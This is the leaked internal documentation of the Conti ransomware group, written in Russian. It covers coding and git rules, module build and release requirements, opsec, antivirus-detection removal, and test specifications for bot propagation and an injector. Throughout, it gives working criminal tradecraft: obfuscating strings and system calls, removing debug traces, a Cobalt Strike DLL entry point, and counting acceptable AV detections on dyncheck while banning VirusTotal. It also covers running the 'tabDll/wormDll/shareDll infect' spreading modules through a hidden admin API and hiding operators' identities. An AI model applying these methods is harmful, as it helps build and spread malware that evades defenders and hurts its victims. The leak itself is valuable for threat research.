// шелл-код отыщет такие-то байты в прологе такой-то функции и пропатчит их на нужные нам.
// были еще варианты раз (ссылка) и два (ссылка), но они не подходят, т.к. плохо отрабатывают на таких-то системах
В компилируемых языках программирования (далее ЯП) комментарии пишутся на русском языке.
В интерпретируемых ЯП комментарии и идентификаторы только на английском, только грамматически чисто!
Попавшие противнику скрипты не должны указывать на вашу национальную принадлежность.
* Лучший код тот, которого нет.
Не пишите лишнего.
Не делайте заделы на годы вперед.
"Завтра" может не настать, и задел никому не понадобится.
"завтра" окажется, что вы не угадали.
Лаконичность, минимализм - наше все.
Не плодите сущностей. Это величайший грех инженера!
Отсеките Бритвой Оккама все лишнее - фреймворки, ООП, сторонние библиотеки, обертки.
Идеальный код должен занимать ноль байт (это реальный случай, когда используется чужой софт).
* нет смысла писать код, если он кем-то уже написан. Перед тем как писать, поищите в Сети.
Если взяли чужой код, обязательно воткните в исходники линк, откуда он взят.
ОБРАБОТКА ОШИБОК
Предлагается следующая методика обработки ошибок в коде:
- исключения С++ не используются
- исключения SEH/VEH используются только для снятия посмертного стека либо для защиты опасных секций кода
(например, выполнение произвольного shell-кода)
- все функции пишут об ошибке немедленно в stderr, предваряя строку именем функции. Например:
fprintf(stderr, __FUNCTION__ " Invalid file handle\r\n");
- если функция возвращает коллекцию (например, найденных символов), то в случае ошибки возврат - пустая коллекция;
- если функция возвращает указатель, то NULL - это ошибка;
- если функция возвращает строку, то пустая строка - это ошибка;
- если функция возвращает целое, то 0 или -1 - это ошибка;
Вызывающий контекст проверяет возврат, и если он неожиданный, и нету возможности подставить значение по умолчанию,
мы делаем возврат из текущего места по приведенным выше правилам сигнализации об ошибках.
ПОЛИТИКА GIT
* Мы используем Git не потому что так делают все, а для решения вот таких задач:
1. Резервное копирование.
Мы видели множество случаев потери работы за длительное время (месяцы, и однажды - год), просто из-за неаккуратности разработчика.
2. Совместная работа нескольких людей над проектом
3. Поиск автора конкретных строк кода
4. Поиск регресса путем отката и последовательных сборок по истории
5. Ведение истории изменений (Release notes, Changelog)
6. Версионирование, управление релизами
Поэтому правила ниже и написаны для извлечения этих выгод.
Для других задач могут быть другие правила.
* Коммиты обязательны всякий раз, когда есть что коммитить (то есть примерно каждый день).
Даже если код не работает и не дописан, коммитьте во временную ветку.
Это лучше чем потерять работу за день.
* Желательно хранить стабильный код в отдельной ветке, и вливать в нее только проверенные изменения.
* Если у проекта есть версии, то каждой версии соответствует либо ветка (если она передается на поддержку),
либо метка (если нужна лишь историчность без поддержки).
* Если вы на проекте один, то вы ведете ветки как вам угодно.
* Если проектом заняты несколько, то разработку следует вести в личной ветке.
Влитие в основную ветку всегда делается двойным слиянием (merge)
- сначала из основной ветки в свою (с разрешением конфликтов и дымным тестом)
- потом из своей в основную.
* У коммита всегда должен быть комментарий, на русском языке, описывающий краткую суть изменений.
Например: "Исправление переполнения сетевого буфера при высокой частоте запросов".
В комментарии должен быть указан номер бага или задачи из системы учета,
например: "B-1655 Исправление переполнения сетевого буфера при высокой частоте запросов".
Когда вы проставите ИД бага, интеграция Git с системой учета ошибок автоматически свяжет коммит с багом.
* Коммит должен быть атомарным и минимальным.
Один коммит - один баг/задача.
Это значит, что больше нельзя фигакнуть git push не разбираясь прямо из каталога проекта.
Если вы из командной строки, то нужно перечислять файлы поименно, и перед коммитом обязательно делать diff с апстримом.
Коммитятся только те файлы, которые имеют отношение к одной-единственной задаче.
Коммитятся только те строки файла, которые имеют отношение к одной-единственной задаче.
Если не следовать этому правилу, становятся недоступными или затрудненными следующие выгоды Git:
- cherry pick (перенос кода между несинхронными ветками)
- blame (поиск автора кода) становится очень зашумленным
- поиск регресса путем последовательных сборок по истории (при возникновении ошибки в таком коммите, невозможно сказать, к изменению по какой задаче она относится)
* Используйте утилиты с UI для работы с Git. Они показывают что именно изменено относительно основной ветки,
позволяют отправлять только отдельные строки из файла, и игнорировать ваши личные отладочные изменения и настройки,
которые не должны попасть на сервер.
* Запрещено коммитить
- любые тексты с реальными именами, никнеймами, паролями, URL и IP-адресами наших ресурсов, адресами криптовалют, итд итп (если не оговорено особо)
- архивы и бинарные файлы, не являющиеся частью шагов сборки проекта
СИСТЕМА УЧЕТА ОШИБОК И ПРОЕКТНОЙ РАЗРАБОТКИ
Этой системой мы пользуемся не потому, что ими пользуются все, а для решения вот каких задач:
1. Чтобы сократить писанину.
Можно ткнуть в уже написанный текст, а не писать кому-то повторно.
Это может быть текст задачи, комментарий с описанием шагов воспроизведения ошибки, картинка или лог во вложении.
2. Чтобы найти концы (историчность).
Ошибки могут повторяться, особенно плавающие.
Большое число ошибок группируется вокруг одних и тех же строк кода.
Словом, ситуация "такое уже было" является частой.
3. Для концентрации знаний и аналитики.
Через какое-то время в системе накапливается существенное количество информации.
Куда идти разработчику или руководителю за информацией, как не в эту систему?
4. Для управления разработкой.
Ведение списка задач, назначение задач исполнителям, выбор приоритетов, отслеживание стадии работ, планирование.
Коллеги разработчики, когда вас сотня, а я один (ну ладно, двое или трое), держать в голове это все очень тяжко.
Багтрекер кроме всего прочего является вашим рабочим журналом.
При работе над задачей, записывать заметки для самого себя - это нормально.
Когда что-то получается, или наоборот что-то не получается - записи вида "не получилось это, вот формулировка проблемы" - очень ценны.
ПРАВИЛА ОФОРМЛЕНИЯ ОТЧЕТОВ ОБ ОШИБКАХ
См.соответствующий документ.

58
Conti Documentation Leak/docs/management/наставление техническому руководителю.txt

@ -0,0 +1,58 @@
НАСТАВЛЕНИЕ ТЕХНИЧЕСКОМУ РУКОВОДИТЕЛЮ
1. Вся ваша деятельность должна быть подчинена одной цели - результату.
Причем технический аспект подчинен аспекту жизненному - насколько будет достигнута цель бизнеса?
Ради этого можно переступать _любые_ правила.
Поэтому любой вопрос или деятельность рассматривайте под углом "а зачем это нам нужно? какую выгоду принесет?"
2. Исходя из этого, оценка вашей деятельности - это внедрение.
В ВОВ давали Сталинскую премию не за чертежи нового танка или самолета, а за работающий конвеер по его производству,
обученных мастеров и рабочих и налаженную цепочку поставок, то есть за завод, стабильно выпускающий продукцию.
Потому в тот момент, когда вы сдали проект заказчику, все только начинается.
3. Ваша деятельность - это больше, чем просто постановка и контроль выполнения задач.
Нужно решать массу вопросов - обучение людей, заявки на ресурсы (сервера, сервисы), автоматизация работы, координация, разные непредвиденные ситуации.
4. Старайтесь действовать добрым словом.
У всех людей свой почерк и стиль работы, все люди разные.
Потому когда вы столкнетесь с упрямством и непониманием, вам потребуется огромное терпение.
Вы имеете право увольнять и нанимать, наказывать и поощрять (в основном рублем).
Но увольняя или наказывая за мелочи, вы рождаете недовольство.
Ломая стиль человека просто из-за его несоответствия мифическим "лучшим практикам", вы ничего не выигрываете, а вот время теряется.
Хорошего специалиста искать трудно и легко потерять, потому ищите общий язык, не заостряйтесь на несущественном.
Переступайте через личное недовольство и неприязнь.
Если вы уволили человека за то, что как вам кажется он не справляется - возможно, это минус вам.
Если вы его приручили и научились работать совместно - это плюс вам.
Раскрывайте качества человека, подмечайте в чем он силен (можно просто спросить).
5. К доброму слову прилагается пистолет.
Будьте твердыми когда нужно.
Личный почерк легко отличить баловства и некомпетентности.
6. Еще о добром слове.
Простое человеческое "спасибо за отличную работу" подымает дух и самооценку.
Всегда будьте вежливы, даже в непростых ситуациях.
Капитаны и квартирмейстеры пиратских экипажей неспроста обращались на "вы" и с титулом "мистер" к простым матросам.
7. Ваши обязанности более формально:
Оценка сроков выполнения задачи
Постановка задач подчиненным
Контроль выполнения задач подчиненными (приемка работы)
Общение с клиентами, опросы, перевод с разговорного на технический
Написание и рецензия тех.заданий
Собеседование при найме на работу
Обучение людей, техническое и организационное менторство
Ведение деятельности в системе управления разработкой
Рецензирование кода
Написание документации
ТОДО
- соответствие проектов "оформлению кода и сборок"
- ведение отчетности за клиентов
- приучение кодеров к отчетности
- техника безопасности

242
Conti Documentation Leak/docs/management/оформление кода и сборок.txt

@ -0,0 +1,242 @@
ТРЕБОВАНИЯ К КОДУ
1. Нужно минимизировать использование Visual C++ Runtime. Функции malloc, memcpy, str* - следует избегать.
В WinAPI уже есть все необходимое – вместо malloc – HeapAlloc, вместо memcpy – CopyMemory, вместо strstr – StrStr (shlwapi.h/.lib).
CRT добавляет достаточно много лишнего кода к бинарнику.
1.1. STL в общем случае следует избегать.
1.2. Некоторые фичи STL дают дополнительный пролог к коду. Для std::mutex он весит 200к. Его не видно в вашем коде, а он есть, и будет вести себя странно в контексте выполнения!
2. Линковка рантайма и сторонних библиотек к модулю должна быть статической (флаг /MT).
3. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
4. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
ОФОРМЛЕНИЕ МОДУЛЯ
1. Должен иметься проект Microsoft Visual Studio версии не ниже 2015.
2. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- Общие / Выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Общие / Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Общие / Версия пакета SDK для Windows: <наследовать от родителя или значений по умолчанию проекта>
- С/С++ / Общие / Многопроцессорная компиляция: да
- С/С++ / Создание кода / Библиотека времени выполнения: Многопоточная или Многопоточная отладка (Release/Debug соответственно)
- С/С++ / Создание кода / Создать образ с обновлением: Нет
- С/С++ / Создание кода / Включить С/С++ исключения: Нет
* Профиль Release:
- Формат отладочной информации (С/С++ Общие ): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
В дополнительные параметры добавить
/DEBUG:NONE /EMITPOGOPHASEINFO
https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
- С/С++ / Создание кода / Включить проверку безопасности: нет
- С/С++ / Создание кода / Основные проверки времени выполнения: по умолчанию
- С/С++ / Оптимизация / Опустить указатели на фреймы: да
* При сборке LLVM-Obfuscator:
Clang добавляет строку с путем к файлу символов .pdb, даже если это отключено опциями сборки.
Подавлять так (Visual Studio):
- Компоновщик -> Командная строка, указать /pdbaltpath:<строка>, вместо пути к pdb будет эта строка.
5. Модуль должен иметь две версии - x32- и x64-разрядную.
6. Модуль должен быть скомпонован статически и представлять из себя один файл .exe/.dll.
Для модулей .dll допускается прилагать _тестовую_ запускалку в виде .exe.
7. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
8. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в modulename.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
9. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
10. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
11. Дополнительно к компоновке должен добавляться файл notelemetry.obj (https://stackoverflow.com/questions/37761768/how-to-prevent-visual-studio-2015-update-2-to-add-telemetry-main-invoke-trigger)
12. Точка входа для Cobalt Strike:
#define DLL_API __declspec(dllexport)
extern "C" DLL_API void CALLBACK StartDLL(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
Вызывается так:
TStr DllCmdLine;
for(int i = 1; i < argc; i++)
DllCmdLine += TStr(argv[i]) + (i < argc - 1 ? " " : "");
char *OutputData;
int OutputSize;
int *p = &OutputSize;
pStartDLL(HWND(&OutputData), HINSTANCE(&OutputSize), &DllCmdLine[0], SW_MAX + 1);
Точка входа блокирующая: вызывающий контекст можно блокировать на любое время, необходимое для завершения функции.
ОФОРМЛЕНИЕ СБОРОК
В сборке должна быть структура каталогов:
modulename/Release_logged/x86
modulename/Release_logged/x64
modulename/Release_nologs/x86
modulename/Release_nologs/x64
В Release_logged идет версия с логом и без обфускации (но это все равно профиль сборки Release!
т.е. там должны быть включены все оптимизации, выключены отладочные символы итд).
В release_nologs - версия без лога, с полной обфускацией.
В имени каталога со сборкой должно быть имя модуля и дата (например cookies.22.04.2019).
Если на указанную дату есть несколько сборок одного модуля, должен добавляться уникальный суффикс (например cookies.22.04.2019.2)
Это нужно для нормальной эксплуатации модуля - чтобы тестировщики и администраторы отличали версии сборок,
чтобы был возможно сделать откат или апгрейд, а также для выдачи нужной сборки по её дате.
Пример скрипта для автоматизированной публикации сборок приложен в конце документа.
К сборке должны обязательно прилагаться два файла на русском языке:
* README.txt - краткое описание назначения и использования программы.
Здесь должны быть указаны неочевидные нюансы, быстрый старт, все тонкости, о которых знает разработчик
и не знает посторонний.
Главное требование к документу: точность. Если в документе что-то заявлено, оно должно работать без вопросов в указанных рамках ограничений.
Примерная структура документа:
- Назначение программы
- Краткое описание
- Синтаксис
- Формат конфигов и настроек (если есть)
- Ограничения, известные ошибки и проблемы, поддерживаемые ОС и стороннее ПО, системные требования
* RELEASE_NOTES.txt в следующем формате:
11.02.2010
Версия 1.1
- новые фичи такие и такие
- такие баги исправлены
- такие баги известны и не были исправлены, но запланированы к исправлению
- такие нюансы использования версии
01.02.2010
Исправлено падение программы из-за того и этого
01.01.2010
Первая версия программы
ВАЛИДАЦИЯ СБОРОК
Перед выдачей сборки разработчик обязан:
- самостоятельно провести дымный тест
- проверить необфусцированные строки в бинарных файлах Release_nologs.
Это можно сделать как простым просмотром тела файла в Far,
так и с помощью IDA Pro (после окончания разбора файла открываем Open Subview -> Strings),
так и сторонними утилитами.
- В особенности нужно убедиться в отсутствии никнеймов и путей в бинарниках
(по типу d:\work\Vasya Ivanov\project\project.pdb)
- проверить отсутствие ссылки на отладочную информацию в Release_nologs
(IDA Pro выдает окно с предложением подключить отладочные символы при начале разбора файла)
- проверить файл на dyncheck.com на статическом анализе. Динамический анализ НЕ ЗАПУСКАТЬ!
Допустимые показатели детектов:
* x86 - до 6-и детектов
* x64 - до 3-х детектов
!!!ЗАПРЕЩЕНО проверять детекты на virustotal.com!!!
ВЫДАЧА СБОРОК
Сборки выдаются в виде шифрованного архива .rar с длиной пароля не менее 16 символов.
Пароль должен быть стойким (разные регистры символов, альфа и цифры, знаки препинания итд).
ИМЕНА ФАЙЛОВ В АРХИВЕ ДОЛЖНЫ ШИФРОВАТЬСЯ.
Имя архива должно быть не говорящим.
modulename.22.09.2010.rar - плохое имя
c.rar - хорошее имя
ПОЛИТИКА GIT
В GIT КОММИТИТЬ ВСЯКИЙ РАЗ, КОГДА ЕСТЬ ЧТО.
ЭТО ЗАЛОГ ТОГО, ЧТО НЕ ПРОПАДЕТ РАБОТА.
ЭТО ЗАЛОГ ТОГО, ЧТО НЕ ПРОПАДЕТ РАБОТА.
ЭТО ЗАЛОГ ТОГО, ЧТО НЕ ПРОПАДЕТ РАБОТА.
Если каждый день пишешь код - значит каждый день коммитишь.
Коммитить нужно ДАЖЕ НЕРАБОЧИЙ код - просто делаем это в отдельную ветку, и вливаем ее в основную после стабилизации.
ЗАПРЕЩЕНО КОММИТИТЬ:
- архивы
- файлы с логинами, паролями, URL и IP-адресами, именами, адресами, телефонами кого-либо из знакомых, а также их хэшами
(это не касается случаев, когда файл взят из паблика, какого-нибудь демо, URL ведет в паблик, итд)
- бинарный мусор (файлы .obj, .suo, .sdf и прочие промежуточные файлы Visual Studio и других IDE)
- результаты сборки - выходные файлы проекта (.exe итд)
Зачем нужны системы контроля версий (и git в частности)
- как средство резервного копирования (страхует от пропажи работы за день)
- как средство централизованного хранения и мобильности кода (доступ из любой точки и с любой машины)
- память и история (ответ на вопрос: ПОЧЕМУ была написана ЭТА ДОЛБАНАЯ СТРОЧКА)
Поверь - через полгода максимум ты сам не вспомнишь, почему была написана эта долбаная строчка.
Если же проект достался тебе после кого-то - это mission impossible.
Для решения этой проблемы почти во всех современных средствах контроля версий есть функция blame.
Например
git blame src/file.cpp
покажет и автора, дату и номер коммита каждой строчки указанного файла. Причем все это интегрировано в Visual Studio
(правой мышью на файл в Solution Explorer -> Обвинение (заметки))
Для того, чтобы видеть там что-то внятное, вместо "some update", надо
- комменты для коммитов писать внятные;
- коммитить по паре строк за один раз, вместо коммита огромного пакована файлов в конце недели с комментарием ".";
- коммитить только те файлы, которые были затронуты в данном исправлении (а не херакнуть весь каталог с комментарием "commit", а что такого,
пофиг что туда подтянулось также старое забытое дерьмо, лежащее в проекте уже бох знает сколько)
- использовать инструмент diff (точнее его визуальный аналог, например merge tool встроенный в Visual Studio) при создании коммита
Из этого следует, что коммитить надо часто:
- исправил баг - сразу и закоммитил только касающиеся его файлы с комментом "исправлен баг такой-то по переполнению стека в функции такой-то потому-то и поэтому-то"
- написал фичу - сразу и закоммитил только касающиеся его файлы с комментом "реализация неинтерактивного HTTP-клиента"
И тогда, подымая историю изменений файла, ты будешь видеть ПРИЧИНУ написания данной строчки, а также ВЗАИМОСВЯЗЬ этой строчки с другими частями кода.
Можно конечно этого всего не делать, потому что лень учиться, нафиг и все такое.
Но кто ты тогда?
ПРИЛОЖЕНИЕ 1. СКРИПТ АВТОМАТИЧЕСКОЙ ПУБЛИКАЦИИ
Далее идет пример командного сценария .bat для публикации сборки.
@echo off
rem usage: publish_build.bat
SetLocal EnableDelayedExpansion
set outdir=f:\temp
set srcdir=f:\Projects\project\Bin
for /f %%x in ('wmic path win32_localtime get /format:list ^| findstr "="') do set %%x
set today=%Day%.%Month%.%Year%
set outdir=%outdir%\g%today%
echo %outdir%
if not exist %outdir% goto :startcopy
set /a x=2
:while
if %x% lss 100 (
echo %x%
set /a x+=1
if not exist %outdir%.%x% (
set outdir=%outdir%.%x%
goto :startcopy
)
goto :while
)
)
:startcopy
mkdir %outdir%
mkdir %outdir%\logged
mkdir %outdir%\logged\Release.x86
mkdir %outdir%\logged\Release.x64
xcopy /Y %srcdir%\x86\Release_logged\module.dll %outdir%\logged\Release.x86
xcopy /Y %srcdir%\x86\Release_logged\loader-test.exe %outdir%\logged\Release.x86
xcopy /Y %srcdir%\x64\Release_logged\module.dll %outdir%\logged\Release.x64
xcopy /Y %srcdir%\x64\Release_logged\loader-test.exe %outdir%\logged\Release.x64
mkdir %outdir%\not_logged
mkdir %outdir%\not_logged\Release.x86
mkdir %outdir%\not_logged\Release.x64
xcopy /Y %srcdir%\x86\Release_nologs\module.dll %outdir%\not_logged\Release.x86
xcopy /Y %srcdir%\x86\Release_nologs\loader-test.exe %outdir%\not_logged\Release.x86
xcopy /Y %srcdir%\x64\Release_nologs\module.dll %outdir%\not_logged\Release.x64
xcopy /Y %srcdir%\x64\Release_nologs\loader-test.exe %outdir%\not_logged\Release.x64
xcopy /Y %srcdir%\..\RELEASE_NOTES.txt %outdir%
xcopy /Y %srcdir%\..\readme.user.txt %outdir%
EndLocal

13
Conti Documentation Leak/docs/management/правила оформления отчетов об ошибках.txt

@ -0,0 +1,13 @@
ПРАВИЛА ОФОРМЛЕНИЯ ОТЧЕТОВ ОБ ОШИБКАХ
Копируем этот текст, после каждой строчки ставим Enter и отвечаем на вопросы:
1. Что я хотел? (что я пытался сделать)
2. Что я делал? (подробные шаги к воспроизведению)
3. Что произошло? (как отреагировала система)
4. Чего я ожидал? (как должна была отреагировать система, по моему мнению)
5. Что я сделал для локализации ошибки (какие факторы варьировал, чтобы найти ошибку)
6. Окружение (версия и разрядность ОС, сборки и вовлеченного софта; пути, специфические настройки, IP-адреса и домены)
7. Логи и скриншоты.
Любые вложения обязательно прикреплять к багу, а не давать на них ссылку на файлообменник.
Через несколько дней ссылка протухнет, а к багу обращаются спустя годы.

100
Conti Documentation Leak/docs/management/техника безопасности.txt

@ -0,0 +1,100 @@
0. Используйте стойкие пароли.
Длина не менее 16 символов, разные регистры символов, альфа и цифры, знаки препинания и полный алфавит ASCII.
1. Передавать файлы друг другу следует в виде шифрованного архива .rar с длиной пароля не менее 16 символов.
Пароль должен быть стойким (см.выше).
ОГЛАВЛЕНИЕ АРХИВА (ИМЕНА ФАЙЛОВ В АРХИВЕ) ДОЛЖНО ШИФРОВАТЬСЯ.
Это обязательное требование.
Имена файлов ОЧЕНЬ МНОГО говорят о вас.
Имя архива должно быть ничего не говорящим.
modulename.22.09.2010.rar - плохое имя
c.rar или 1.rar - хорошее имя
2. Избегайте передачи файлов через privnote.com и подобные сервисы.
Помните, что переданный текст останется в логах сервера навеки.
2.1. НЕ ОТКРЫВАЙТЕ на личной машине чужие файлы .doc, .docx, .xls, .pdf, ,rtf и так далее - любые файлы,
интерпретируемые тюринг-полным конечным автоматом (которыми являются почти все программы).
Эти форматы используются для подсадки вирусов.
Если же приходится - виртуальная машина и virustotal в помощь.
Пользуйтесь исключительно форматом .txt, и как исключением - изображениями.
3. Используйте TOR и/или VPN для любой деятельности.
TOR предпочтительней, но не все сайты доступны через него.
VPN используйте только выданный на работе.
Проверьте себя на сайтах вроде whoer.net - как вы выглядите для аналитиков?
4. Предпочтительный броузер - TOR Browser.
На втором месте Mozilla Firefox с включенной защитой от отслеживания и отключенной телеметрией.
Не используйте Chrome, кроме как для целей тестирования.
Хром изначально предназначен для шпионской деятельности в пользу Google.
Найдите как выключается WebRTC в броузере. Через него утекает ваш реальный IP!!!
Отключите в броузере телеметрию и Google safe browsing.
Броузер опасен для передачи файлов, т.к. использует два канала для сопоставления источника и адресата файла:
- safe browsing (хэш и линк файла отправляется как при загрузке файла в сеть, так и при скачивании - у обоих адресатов)
- через локальный АВ: FF/Chrome/Edge ставят в альтернативные потоки файла инфу о том откуда скачан файл:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=http://www.nattyware.com/pixie.php
HostUrl=http://www.nattyware.com/bin/pixie.exe
В режиме инкогнито:
[ZoneTransfer]
ZoneId=3
HostUrl=about:internet
5. Помните, что трекеры в броузерах (типа Google Analytics) дают полную картину ваших перемещений по сети.
Поэтому только TOR Browser.
В Mozilla Firefox есть защита от слежки, но она несовершенна.
Помните про отпечатки броузера:
https://habr.com/ru/company/selectel/blog/521550/
https://habr.com/ru/company/selectel/blog/523462/
https://habr.com/ru/company/brave/blog/551588/
6. Делайте резервные копии как можно чаще.
Копируйте их на отдельный носитель, храните его отдельно.
Желательно хранить носитель с бэкапами в другом помещении.
Носитель с бэкапами должен быть зашифрован.
7. Шифруйте рабочий раздел, храните рабочие файлы в криптоконтейнерах.
8. Запускайте полученные файлы только в виртуальной машине с настроенной точкой отката.
Даже из виртуальной машины можно слить ваш реальный IP-адрес.
9. Проверяйте неизвестные файлы на службах типа VirusTotal, в том числе документы.
Не запускайте на личном компьютере ничего полученного из сети.
10. Используйте разные личности для разной деятельности.
Уникальный ник в Инете - это очень плохо.
Сейчас есть автоматические коммерческие сканеры, пробивающие человека по никнейму или фото.
Используйте разные никнеймы в соцсетях, на работе, в других активностях.
В соцсетях лучше вообще не светиться и настоящих данных не выкладывать - фото, адреса, телефоны итд.
Если очень надо, только под псевдонимом и с левым фото.
Научитесь придумывать себе имена и биографии.
11. Не используйте смартфоны ни для чего, связанного с работой.
Смартфон потеряете или украдут - что дальше?
12. Не болтайте.
ПРИЛОЖЕНИЯ
Безопасный Андроид LineageOS: https://habr.com/ru/post/465945/
Безопасный Windows 10 (Windows Ameliorated): https://ameliorated.info
Отключение телеметрии Windows 7/8.1: https://github.com/keizerzilla/remove-windows7-telemetry
Анонимность в мегаполисе https://habr.com/ru/post/553558/
Практическое руководство по анонимности: https://habr.com/ru/company/vdsina/blog/556914/ и https://anonymousplanet.org/guide.html
Структура смартфона: https://habr.com/ru/company/timeweb/blog/590497/

14
Conti Documentation Leak/docs/management/чистка АВ.txt

@ -0,0 +1,14 @@
НАСТАВЛЕНИЯ ПО СНЯТИЯМ АНТИВИРУСНЫХ ДЕТЕКТОВ
1. При обнаружении АВ детекта на софт (на любой софт, не обязательно данный проект), разработчик:
- фиксирует в RELEASE NOTES дату, имя АВ, тип АВ детекта (статика/динамика), название детекта(ов).
Если детекты на нескольких АВ, прикладывает линк c dyncheck.
Также пишет особые отметки если есть (все что посчитает нужным добавить - наблюдения, домыслы, закономерности).
- в ходе снятия детекта, описывает методы снятия детекта, которые применял, и достигнутые результаты.
Одним словом, при снятиях детектов должен вестись журнал со всеми подробностями в файле RELEASE_NOTES.txt проекта.
Это необходимо для обмена опытом между разными разработчиками, выявления наиболее эффективной методики, а также накопления статистики по работе АВ.
2. В "быстром старте исследователя" описаны подробно принципы снятия и все известные на данный момент факторы.
3. Для снятия статики нужно использовать автоматический сканер детектов avclean, чтобы экономить своё время.

48
Conti Documentation Leak/docs/misc/tor.txt

@ -0,0 +1,48 @@
Идем сюда https://www.torproject.org/download/download.html.en
Качае ВНИМАНИЕ Expert Bundle Разархивируем, идем в каталог Tor и запускаем tor.exe
Через несколько секунд дойдет до написи 100% Done - сварачиваем это окно и идем дальше по мануалу.
-----------------------------------------------------
Теперь можно указывать сокс в жаббере (можно и в браузере если надо)
127.0.0.1:9050
НАСТРОЙКА PSI ЖАББЕРА С ТОРОМ
Заходим в настроки-аккаунты, добавить аккаунт
Имя Любое, можно логин вставить, жмем
Добавить XMMP адрес - это логин (вместе с доменом)
Пароль
Переходим на вкладку Соединение Прокси-сервер - кнопка Изменить
Жмем Создать
Тип: Socks version 5
Указываем сервер 127.0.0.1 Порт 9050
Жмем Сохранить
Выбираем Шфировать соединение - Всегда
Аутентификация открытым текстом - Если соедиение шифруется
Остальные настройки по желанию.
Все, сохраняем, проверяем.
ПОСЛЕ ПЕРВОГО ВХОДА
В предупреждении о сертификате нажимайте Доверять
Потом он скажет что профиль не заполнен,
укажите в нем только одно поле НИК -
то что у вас до @ в логине (пример если логин [email protected], то НИК будет asd),
не придумывайте свои ники, иначе можно будет запутаться.

89
Conti Documentation Leak/docs/misc/ТЗ автоматизация группового тестирования в криптопанели.txt

@ -0,0 +1,89 @@
АВТОТЕСТЫ РАЗМНОЖЕНИЯ
ЦЕЛЬ
Автоматизировать тестирование бота на размножение. Это тестирование происходит на группе виртуальных машин, одновременно.
СЦЕНАРИЙ РУЧНОГО ТЕСТИРОВАНИЯ
1. запускается бот на основной машине
2. тестировщик вычисляет идентификатор бота по IP-адресу машины
3. в админке запускаются модули
tabDll infect
wormDll infect
shareDll infect
4. ожидается отстук бота с двух других машин, связанных с первой машиной доменом/сетью.
Задача автотеста:
- отследить отстук с двух других машин.
ВАРИАНТЫ РЕШЕНИЯ
1. Скрипт автотеста связан с криптопанелью только на главной машине
- на главной машине работает скрипт автотеста
- на второстепенной машине работают скрипты автотеста, которые отстукивают не в криптопанель, а на главную машину
Основная машина просто ждет появления отчетов от слейвов, и парсит их
Слейвы работают как обычные автотесты, но без связи с криптопанелью
Недостатки:
- нужно мутить либо публичные шары, для копирования файлов между машинами,
либо запароленые шары, либо что-то промежуточное вроде FTP.
Во всех вариантах получаются проблемы:
- либо нарушается чистота тестов
- либо мы огребаем трудно вычислимые проблемы при SMB-аутентификации
- либо это ничем не лучше отстука в админку.
2. Скрипты автотеста связаны с криптопанелью на главной и подчиненных машинах
- на каждой машине работает полноценный скрипт автотеста.
Недостаток:
- нужно увязывать машины в группу понятиями криптопанели.
ДОРАБОТКА КРИПТОПАНЕЛИ
1. Нужно объединять виртуальные машины в группы.
При этом в группе одна машина главная (мастер), все остальные подчиненные (слейв)
2. В интерфейсе постановки задач на ВМ, отображается только главная машина.
3. При постановке задачи на ВМ-мастер группы, происходит следующее:
- запускаются все ВМ группы, по той же логике что и для обычных ВМ
- логика работы с задачей для мастера группы такая же, как для обычных ВМ, с одним исключением (см.ниже).
Имеется в виду выдача задания (файла на проверку), и получение статуса и отчета от ВМ.
- логика работы с задачей для слейвов отличается:
- слейв НЕ запрашивает файл для проверки
- тем не менее, слейв отправляет отчет о выполнении, спустя определенное время.
- ИД задачи в отчете будет произвольным. Админка сама должна определить ИД задачи, исходя из того, какая задача назначена на группу ВМ.
- задание считается завершенным, когда ВСЕ машины группы (и мастер, и слейвы) выдали статусы задачи и отчеты по ней.
- если для обычной ВМ вне группы предусмотрено прерывание задачи по таймауту, эта логика должна выполняться и для группы
- отчет по заданию должен склеиваться из отчетов с каждой машины группы. Каждый лог должен предваряться именем машины, с которой получен лог.
- результат выполнения задания считается успешным, если ВСЕ машины отработали успешно (достаточно кого-то одного с неудачей,
чтобы результат стал FAILED).
- логика выключения и отката всех ВМ группы повторяет логику для работы с ВМ вне группы.
ДОРАБОТКА ТЕМНОЙ АДМИНКИ
Нужен вызов API:
HTTP GET /some_hidden_path/runmodules/ID
По этому вызову выполняются команды
tabDll infect
wormDll infect
shareDll infect
для бота с указанным ID.
Ответы:
200 - выполнено
404 - бот с таким ID не найден
ДОРАБОТКА СКРИПТОВ АВТОТЕСТИРОВАНИЯ
На мастере:
- нужно добавить вызов API темной админки после завершения теста
На слейвах:
- не нужно качать файл
- нужно сгенерировать ИД задачи произвольно (например всегда 1)
- нужно увеличить таймаут client_installed

211
Conti Documentation Leak/docs/misc/ТЗ автоматизация тестирования инжектора.txt

@ -0,0 +1,211 @@
ЦЕЛЬ
Автоматизировать тестирование модуля инжектора
ОПИСАНИЕ ИНЖЕКТОРА
Инжектор представляет из себя модуль, выполненый в 2-х вариантах и запускаемый 2-мя различными способами:
- с логом
- без лога
и
- автономно
- посредством бота
Логированый модуль требует наличие следующих конфигов:
c:/temp/sinj4.xml
c:/temp/dinj.xml
c:/temp/dpost.xml
Логи создаются в
c:/temp/loader.log
c:/temp/core-dll.log
ТЕСТЫ
Тест - это функция на PowerShell v2.0, проверяющая одно простое условие,
и возвращающая булево значение о выполнении этого условия.
Успешное выполнение теста соответсвует логической истине.
Тесту должно соответсвовать свойство Message.
При любом исходе теста в это свойство записывается диагностика, подтверждающая данный исход.
Например, если в логе есть искомая строка (по которой проверяется условие теста),
в это свойство копируется найденая строка. Если строка отсутствует, поле заполняется произвольным
описанием причины (к примеру, "*substring*: no match in c:/temp/logname.log"
Необходимо написать следующие тесты:
sinj_proxy_alive
